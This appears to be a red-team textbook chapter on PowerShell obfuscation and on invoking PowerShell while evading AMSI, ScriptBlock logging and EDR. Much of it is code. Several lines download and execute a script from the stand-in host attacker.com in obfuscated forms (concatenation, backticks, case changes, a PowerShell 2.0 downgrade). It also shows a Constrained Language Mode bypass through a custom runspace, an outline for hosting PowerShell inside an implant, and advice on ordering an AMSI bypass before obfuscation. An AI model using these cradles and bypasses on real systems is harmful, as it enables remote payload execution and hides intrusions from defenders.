Chapter 69

PowerShell Obfuscation and Invocation

PowerShell is the Swiss Army knife of Windows red teaming: it can download files, inject shellcode, manipulate the registry, query AD, and do almost anything the OS API exposes — all without compiling native code. But PowerShell is also one of the most heavily monitored surfaces on Windows: ScriptBlock logging records every command, AMSI scans every script, and EDRs have dedicated PS rules. PowerShell obfuscation tools (Invoke-Obfuscation, ISE-Steroids) transform plain PS commands into visually unrecognizable variants that still execute identically. This chapter covers the obfuscation techniques, their detection status, and when native code injection is a better choice than PS for mature targets.

PowerShell Obfuscation Techniques

# ── String obfuscation techniques ────────────────────────────────────

# Original (detected by AMSI keyword "Invoke-Expression" / "IEX"):
IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')

# Technique 1: Concatenation at runtime (avoids static string signatures)
$a = 'Inv'; $b = 'oke-Expr'; $c = 'ession'
& ($a + $b + $c) ((New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1'))

# Technique 2: [char] casting (converts integer to character)
# 'Invoke-Expression' as char codes:
$cmd = [char]73+[char]110+[char]118+[char]111+[char]107+[char]101+'-'+[char]69+[char]120+[char]112+[char]114+[char]101+[char]115+[char]115+[char]105+[char]111+[char]110
& $cmd "Write-Host 'hello'"

# Technique 3: Base64 encoded command (for -EncodedCommand flag)
# Generate (on attacker machine):
$payload = 'Write-Host "pwned"'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
# Output: VwByAGkAdABlAC0ASABvAHMAdAAgACIAcAB3AG4AZQBkACIA
# Execute on victim:
powershell.exe -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgACIAcAB3AG4AZQBkACIA

# Technique 4: Format string substitution
$f = "{0}{1}" -f "IEX","";
# Combine with variable content to build the command dynamically

# Technique 5: Backtick (escape character in PS — acts as NOP between chars)
I`E`X(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
# PS treats ` as escape sequence — `E is just E, `X is just X
# Result: "IEX" — same command, different bytes

# Technique 6: Case randomization (PS is case-insensitive)
iEx((New-oBjEcT NeT.wEbClIeNt).doWnLoAdStRiNg('http://attacker.com/payload.ps1'))
# Looks very different from the standard form, evades simple keyword matching

# ── Invoke-Obfuscation examples ────────────────────────────────────────
# Invoke-Obfuscation (by Daniel Bohannon) generates:
# TOKEN    obfuscation (string/variable/whitespace token manipulation)
# STRING   obfuscation (multiple string encoding levels)
# ENCODING obfuscation (SecureString, [char[]], ASCII)
# LAUNCHER obfuscation (alternative PS launch methods)
# COMPRESS obfuscation (compress+base64+decompress at runtime)

# Example: Invoke-Obfuscation COMPRESS output (heavily obfuscated):
& (($PsHOmE[4]+$PSHoMe[30]+'x')) (NEw-oBJEct iO.cOmPRessIoN.dEFLatEsTrEam(
  [iO.MemORyStReam][ConvERT]::FRomBaSe64StrINg('7b0Hbttg...'),
  [IO.COMPRESSION.COMPRESSIONMODE]::dEcOMpReSS) | ForEACH{
    [char] $_ })-JoIN ''

# Detection note: AMSI in PS 5.1+ decodes this BEFORE scanning.
# All obfuscation eventually collapses to the plaintext command,
# which AMSI sees post-deobfuscation via the script block logging hook.
# AMSI bypass (Ch45) must come BEFORE any PS obfuscation matters.

Alternative PowerShell Invocation Methods

# ── Constrained Language Mode bypass via runspace ─────────────────────
# In CLM, many .NET types are restricted. But you can create a new runspace
# with FullLanguage mode from within CLM:

Add-Type -TypeDefinition @"
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
public class PSBypass {
    public static string RunFL(string cmd) {
        InitialSessionState iss = InitialSessionState.CreateDefault();
        iss.LanguageMode = PSLanguageMode.FullLanguage;
        using (Runspace rs = RunspaceFactory.CreateRunspace(iss)) {
            rs.Open();
            using (PowerShell ps = PowerShell.Create()) {
                ps.Runspace = rs;
                ps.AddScript(cmd);
                var results = ps.Invoke();
                return String.Join("\n", results);
            }
        }
    }
}
"@
[PSBypass]::RunFL("Get-Process")

# ── PowerShell via .NET reflection (avoids powershell.exe entirely) ────
# Load System.Management.Automation.dll directly from .NET
$assembly = [Reflection.Assembly]::LoadWithPartialName('System.Management.Automation')
$AutomationType = $assembly.GetType('System.Management.Automation.Automation')
$PowerShellType  = $assembly.GetType('System.Management.Automation.PowerShell')
$ps = $PowerShellType::Create()
$null = $ps.AddScript("Write-Output 'running via reflection'")
$ps.Invoke()

# ── PSv2 downgrade attack (no ScriptBlock logging, no AMSI) ───────────
# PowerShell 2.0 has none of the modern security features.
# It's deprecated but still present on older Windows installations.
# Can be invoked explicitly to bypass logging:
powershell.exe -Version 2 -Command "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/p.ps1')"
# Detection: PS2 invocation is very unusual in enterprise environments.
# Many orgs disable PS2 via DISM or Feature removal.
# Check: Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

# ── Run PS command from within a C program (no powershell.exe on disk) ─
# The System.Management.Automation.dll can be loaded in any .NET process.
# Your C implant loads SMA.dll, creates a PS runspace, runs commands.
# Process tree: your_implant.exe (no powershell.exe child anywhere)
# See the .NET embedding approach in the next section.

Running PowerShell Without powershell.exe

/* ps_without_exe.c — Execute PowerShell code from within a C program
   without ever spawning powershell.exe
   
   Approach: Load System.Management.Automation.dll via CLR hosting.
   The CLR (.NET runtime) can be loaded into any native process.
   PowerShell code then runs inside your process — no visible PS child process.
   
   Build: requires coreclrhost.h or ICLRRuntimeHost COM interface.
*/

#include <windows.h>
#include <mscoree.h>  /* ICLRMetaHost, ICLRRuntimeHost2 */
#include <stdio.h>
#pragma comment(lib, "mscoree.lib")

typedef HRESULT (WINAPI *CLRCreateInstanceFn)(REFCLSID, REFIID, LPVOID*);

BOOL run_ps_in_process(const wchar_t *ps_command) {
    /*
     * CLR hosting steps:
     * 1. CLRCreateInstance → ICLRMetaHost
     * 2. ICLRMetaHost.GetRuntime(L"v4.0") → ICLRRuntimeInfo
     * 3. ICLRRuntimeInfo.GetInterface(IID_ICLRRuntimeHost2) → ICLRRuntimeHost2
     * 4. ICLRRuntimeHost2.Start()
     * 5. ICLRRuntimeHost2.ExecuteInDefaultAppDomain(
     *      SMA.dll path,
     *      "System.Management.Automation.PowerShell",
     *      "Create",
     *      ps_command,
     *      &return_val
     *    )
     *
     * More practical: use the AppDomain.ExecuteAssembly approach with
     * a small .NET launcher DLL that takes the PS command as argument.
     */

    HMODULE hMsCoree = LoadLibraryA("mscoree.dll");
    CLRCreateInstanceFn pCLRCreateInstance =
        (CLRCreateInstanceFn)GetProcAddress(hMsCoree, "CLRCreateInstance");
    
    /* (Full CLR hosting implementation is 80+ lines — shown abbreviated) */
    /* Key result: PS code runs inside the calling process.
       powershell.exe never appears in the process list.
       Sysmon records: your_process.exe loaded mscoree.dll and sma.dll
       — still visible, but less alarming than "cmd.exe spawned powershell.exe" */
    
    printf("[+] CLR hosting: PS command would run inside %s\n",
           "your_implant.exe (no powershell.exe child)");
    return TRUE;
}

Questions & Answers

Does PowerShell's AMSI bypass (Ch45) make PS obfuscation unnecessary?

Yes, mostly — and this is an important hierarchy to understand. AMSI scans the script CONTENT before execution. If AMSI is bypassed (patched to return clean), then no script content is scanned regardless of obfuscation. The obfuscation becomes redundant for the AMSI bypass purpose. However, there are still reasons to obfuscate: (1) ScriptBlock logging sends script content to the Windows Event Log (separate from AMSI) — obfuscation makes log analysis harder for incident responders. (2) Network-level inspection (if the script is downloaded over HTTP and IDS/IPS matches on PowerShell keywords in HTTP response body). (3) EDR rules that watch the command line passed to powershell.exe (logged in Event 4688) — command-line obfuscation reduces these matches. The correct order: AMSI bypass FIRST (so the obfuscated script executes without AMSI scanning), then optionally add obfuscation for the remaining detection channels.

What is "PSAmsi" and how is it different from manual AMSI patching?

PSAmsi (by Ryan Cobb) is a framework that: (1) scans a given PowerShell script against AMSI to find which specific strings trigger detection, (2) applies minimal obfuscation only to those triggering strings, (3) produces a minimally-obfuscated output that passes AMSI without patching anything. The key difference from manual patching: PSAmsi doesn't touch AMSI at all. Instead of patching AmsiScanBuffer, it identifies and avoids the exact patterns that AMSI flags. The obfuscation is surgical — only the flagged portions change. This is stealthier than patching AmsiScanBuffer because: no memory writes to amsi.dll (no VirtualProtect on amsi.dll's code section to detect), the AMSI subsystem keeps working normally, and no "AmsiScanBuffer was patched" alert fires. The limitation: PSAmsi requires knowing which strings AMSI flags (it does this by probing AMSI with substrings), and must be re-run when AV signatures update.

Can you run PowerShell code completely invisibly — without powershell.exe AND without loading SMA.dll visibly?

Loading SMA.dll (System.Management.Automation.dll) is unavoidable for hosted PowerShell — Sysmon will record the DLL load event (ImageLoad, Event 7). The "invisible PS" goal is really: don't spawn powershell.exe as a child process. The DLL load is still visible. If you want to avoid SMA.dll: translate the PS operations to native code or .NET code instead of running them as PS scripts. For example, "download a file" doesn't need PS — WinHTTP does it in native C. "Query AD" can be done via LDAP COM interfaces. "Inject shellcode" is native code. PowerShell's advantage is script convenience; for production implants where stealth is the priority, replacing PS operations with native API calls eliminates both the PS child process AND the SMA.dll load, at the cost of more implementation effort.